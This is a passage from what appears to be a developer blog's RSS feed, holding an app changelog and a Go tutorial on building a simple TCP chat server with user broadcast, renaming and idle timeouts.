<li><input disabled="" type="checkbox"> “文章”系统
<ul>
<li><input disabled="" type="checkbox"> 访问统计（用户数据分析，诸葛io）</li>
<li><input disabled="" type="checkbox"> 评论/点赞/感谢</li>
</ul>
</li>
<li><input disabled="" type="checkbox"> 搜索系统（meilisearch）</li>
<li><input disabled="" type="checkbox"> 推荐系统</li>
</ul>
<hr>
<h3 id="versions-list">versions list</h3>
<h5 id="alpha-20220110">Alpha 20220110</h5>
<ol>
<li>阻止mood的sharpwrapped的ontap手势溢出到span后面</li>
<li>图片库（二指捏拉缩放）</li>
<li>制作了简单的qrcode</li>
<li>制作了简单的CardPage</li>
<li><strong>天气背景用户信息</strong></li>
</ol>
<h5 id="alpha-20220105">Alpha 20220105</h5>
<ol>
<li>修复了文章页面CodeBlock与SwipeBack的手势冲突</li>
<li>修复了用户详情页面SwipeBack的手势冲突</li>
<li>用户详情页面上拉、下拉动作</li>
<li>聊天页面设计</li>
<li>丰富首页Drawer设计</li>
<li>“动态”页面初步设计</li>
<li>MyPage Toast</li>
</ol>
<h5 id="alpha-20211220">Alpha 20211220</h5>
<ol>
<li>添加了关注页面的“经常点击”</li>
<li>TODO Zefyrka替换Markdown编辑器</li>
<li>TODO 上拉下拉加载更多</li>
</ol>
<h5 id="alpha-20211216">Alpha 20211216</h5>
<ol>
<li>将图标风格改成了Cupertino样式</li>
<li>制作了文章页面的样式（底栏）</li>
<li>将目录功能引入文章页面</li>
</ol>
<h5 id="alpha-20211215">Alpha 20211215</h5>
<ol>
<li>实现了全屏滑动返回</li>
<li>解决了返回手势与TabBarView的冲突问题（UserDetailPage）</li>
</ol>
<h5 id="alpha-20211212">Alpha 20211212</h5>
<ol>
<li>解决了跨SelectableText的选择问题</li>
<li>添加了Undo/Redo按钮</li>
</ol>
<h5 id="alpha-20211211">Alpha 20211211</h5>
<ol>
<li>使用Coordinator改写了NestedScrollView，修复了“我的”页面的滑动冲突</li>
<li>使用HsuTabBarView解决了多TabView页面切换滑动时的冲突(卡住)问题</li>
<li>使用AnimatedSwitcher重写了Tabbar右侧的ActionButton</li>
</ol>
<h5 id="alpha-20211209">Alpha 20211209</h5>
<ol>
<li>添加了简易的章节目录跳转功能</li>
<li>修复了Keyboard Toolbar遮挡文字的bug</li>
<li>添加了表情定制软键盘</li>
</ol>
<h5 id="alpha-20211201">Alpha 20211201</h5>
<ol>
<li>“新文章”页面添加了自定义的keyboard toolbar</li>
<li>将预览功能改为tabbar的形式</li>
</ol>
<h5 id="alpha-20211127">Alpha 20211127</h5>
<ol>
<li>实现了markdown渲染的代码高亮、latex解析，并简单排版了一下</li>
<li>用户个人页面</li>
</ol>
<h5 id="alpha-20211120">Alpha 20211120</h5>
<ol>
<li>为“动态”添加了表情、hashtag、at功能</li>
</ol>
<h5 id="alpha-20211118">Alpha 20211118</h5>
<ol>
<li>“新文章”页面markdown源代码高亮，实现了简单预览</li>
</ol>
<h5 id="alpha-20211116">Alpha 20211116</h5>
<ol>
<li>“社区”页面</li>
<li>“我的”页面，并制作了简单的后端实例</li>
<li>修复了“我的”页面左侧drawer遮挡bottom tab的问题</li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>Golang TCP 即时通讯实例</title>
      <link>https://weibo.io/2021/11/golang-chat/</link>
      <pubDate>Thu, 11 Nov 2021 19:40:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/golang-chat/</guid>
      <description>main.go
package main func main(){ server := NewServer(&amp;#34;127.0.0.1&amp;#34;, 8888) server.Start() } server.go
package main import( &amp;#34;fmt&amp;#34; &amp;#34;net&amp;#34; &amp;#34;sync&amp;#34; &amp;#34;io&amp;#34; &amp;#34;time&amp;#34; ) type Server struct { Ip string Port int //在线用户列表 OnlineMap map[string]*User mapLock sync.RWMutex //消息广播channel Message chan string } func NewServer(ip string,port int) *Server { server := &amp;amp;Server { Ip:	ip, Port:	port, OnlineMap: make(map[string]*User), Message: make(chan string), } return server } //监听Message广播消息channel的goroutine，一旦有消息就发送给全部在线的User func (this *Server) ListenMessager() { for { msg := &amp;lt;-this.</description>
      <content:encoded><![CDATA[<p>main.go</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">server</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">NewServer</span>(<span style="color:#e6db74">&#34;127.0.0.1&#34;</span>, <span style="color:#ae81ff">8888</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">Start</span>()
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>server.go</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span>(
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;net&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;sync&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;io&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;time&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Server</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Ip</span> 		<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Port</span> 	<span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//在线用户列表
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#a6e22e">OnlineMap</span> <span style="color:#66d9ef">map</span>[<span style="color:#66d9ef">string</span>]<span style="color:#f92672">*</span><span style="color:#a6e22e">User</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mapLock</span> <span style="color:#a6e22e">sync</span>.<span style="color:#a6e22e">RWMutex</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//消息广播channel
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#a6e22e">Message</span> <span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">NewServer</span>(<span style="color:#a6e22e">ip</span> <span style="color:#66d9ef">string</span>,<span style="color:#a6e22e">port</span> <span style="color:#66d9ef">int</span>) <span style="color:#f92672">*</span><span style="color:#a6e22e">Server</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">server</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">Server</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Ip</span>:		<span style="color:#a6e22e">ip</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Port</span>:	<span style="color:#a6e22e">port</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">OnlineMap</span>: make(<span style="color:#66d9ef">map</span>[<span style="color:#66d9ef">string</span>]<span style="color:#f92672">*</span><span style="color:#a6e22e">User</span>),
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Message</span>: make(<span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">string</span>),
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">server</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//监听Message广播消息channel的goroutine，一旦有消息就发送给全部在线的User
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Server</span>) <span style="color:#a6e22e">ListenMessager</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">msg</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Message</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">//发送给全部到在线User
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Lock</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">cli</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">OnlineMap</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">cli</span>.<span style="color:#a6e22e">C</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">msg</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Unlock</span>()
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Server</span>) <span style="color:#a6e22e">Broadcast</span>(<span style="color:#a6e22e">user</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">User</span>, <span style="color:#a6e22e">msg</span> <span style="color:#66d9ef">string</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">sendMsg</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">&#34;[&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">Addr</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;]&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">Name</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;:&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">msg</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Message</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">sendMsg</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Server</span>) <span style="color:#a6e22e">Handler</span>(<span style="color:#a6e22e">conn</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">Conn</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//fmt.Println(&#34;linked ok&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#75715e">//用户上线了,将用户加入到onlineMap
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">NewUser</span>(<span style="color:#a6e22e">conn</span>,<span style="color:#a6e22e">this</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">Online</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//用户是否活跃
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#a6e22e">isLive</span> <span style="color:#f92672">:=</span> make(<span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">bool</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">go</span> <span style="color:#66d9ef">func</span>() {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">buf</span> <span style="color:#f92672">:=</span> make([]<span style="color:#66d9ef">byte</span>, <span style="color:#ae81ff">4096</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">n</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">conn</span>.<span style="color:#a6e22e">Read</span>(<span style="color:#a6e22e">buf</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span><span style="color:#f92672">==</span><span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">Offline</span>()
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">EOF</span> {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;conn read err&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">//提取用户消息（去掉&#39;\n&#39;）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>			<span style="color:#a6e22e">msg</span> <span style="color:#f92672">:=</span> string(<span style="color:#a6e22e">buf</span>[:<span style="color:#a6e22e">n</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>])
</span></span><span style="display:flex;"><span>			
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">//消息处理
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>			<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">DoMessage</span>(<span style="color:#a6e22e">msg</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">//用户依然活跃
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>			<span style="color:#a6e22e">isLive</span> <span style="color:#f92672">&lt;-</span> <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>			
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}()
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//当前handler阻塞
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">select</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">case</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">isLive</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">case</span> <span style="color:#f92672">&lt;-</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">After</span>(<span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Second</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">300</span>):<span style="color:#75715e">//更新计时器
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>			<span style="color:#75715e">//已经超时
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">//强制关闭当前的User
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>			<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">SendMessage</span>(<span style="color:#e6db74">&#34;你被踢了\n&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			close(<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">C</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">conn</span>.<span style="color:#a6e22e">Close</span>()
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span> <span style="color:#75715e">//runtime.Goexit()
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Server</span>) <span style="color:#a6e22e">Start</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//socket listen
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#a6e22e">listener</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">Listen</span>(<span style="color:#e6db74">&#34;tcp&#34;</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#e6db74">&#34;%s:%d&#34;</span>, <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Ip</span>, <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Port</span>))
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;net.listen err:&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//close listen socket
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#66d9ef">defer</span> <span style="color:#a6e22e">listener</span>.<span style="color:#a6e22e">Close</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//启动监听
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">ListenMessager</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">//accept
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#a6e22e">conn</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">listener</span>.<span style="color:#a6e22e">Accept</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;listener.accept err:&#34;</span>,<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">//do handler
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Handler</span>(<span style="color:#a6e22e">conn</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>user.go</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;net&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;strings&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">User</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Name</span>	<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Addr</span>	<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">C</span>		<span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">conn</span> 	<span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">Conn</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">server</span>  <span style="color:#f92672">*</span><span style="color:#a6e22e">Server</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">NewUser</span>(<span style="color:#a6e22e">conn</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">Conn</span>, <span style="color:#a6e22e">server</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Server</span>) <span style="color:#f92672">*</span><span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">userAddr</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">conn</span>.<span style="color:#a6e22e">RemoteAddr</span>().<span style="color:#a6e22e">String</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Name</span>: <span style="color:#a6e22e">userAddr</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Addr</span>: <span style="color:#a6e22e">userAddr</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">C</span>:	  make(<span style="color:#66d9ef">chan</span> <span style="color:#66d9ef">string</span>),
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">conn</span>: <span style="color:#a6e22e">conn</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">server</span>:<span style="color:#a6e22e">server</span>,
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">ListenMessage</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">user</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//用户上线
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">User</span>) <span style="color:#a6e22e">Online</span>(){
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Lock</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">OnlineMap</span>[<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Name</span>] = <span style="color:#a6e22e">this</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Unlock</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">Broadcast</span>(<span style="color:#a6e22e">this</span>, <span style="color:#e6db74">&#34;上线了&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//用户下线
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">User</span>) <span style="color:#a6e22e">Offline</span>(){
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Lock</span>()
</span></span><span style="display:flex;"><span>	delete(<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">OnlineMap</span>, <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Name</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Unlock</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">Broadcast</span>(<span style="color:#a6e22e">this</span>, <span style="color:#e6db74">&#34;下线了&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//发送消息给user
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">User</span>) <span style="color:#a6e22e">SendMessage</span>(<span style="color:#a6e22e">msg</span> <span style="color:#66d9ef">string</span>){
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">conn</span>.<span style="color:#a6e22e">Write</span>([]byte(<span style="color:#a6e22e">msg</span>))
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//处理消息
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">User</span>) <span style="color:#a6e22e">DoMessage</span>(<span style="color:#a6e22e">msg</span> <span style="color:#66d9ef">string</span>){
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">msg</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;who&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">//查询所有用户信息
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Lock</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">OnlineMap</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">onlineMsg</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">&#34;[&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">Addr</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;]&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">Name</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;: 在线...\n&#34;</span>
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">SendMessage</span>(<span style="color:#a6e22e">onlineMsg</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Unlock</span>()
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> len(<span style="color:#a6e22e">msg</span>) &gt; <span style="color:#ae81ff">7</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">msg</span>[:<span style="color:#ae81ff">7</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;rename|&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">//改名
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#a6e22e">newName</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">strings</span>.<span style="color:#a6e22e">Split</span>(<span style="color:#a6e22e">msg</span>, <span style="color:#e6db74">&#34;|&#34;</span>)[<span style="color:#ae81ff">1</span>]
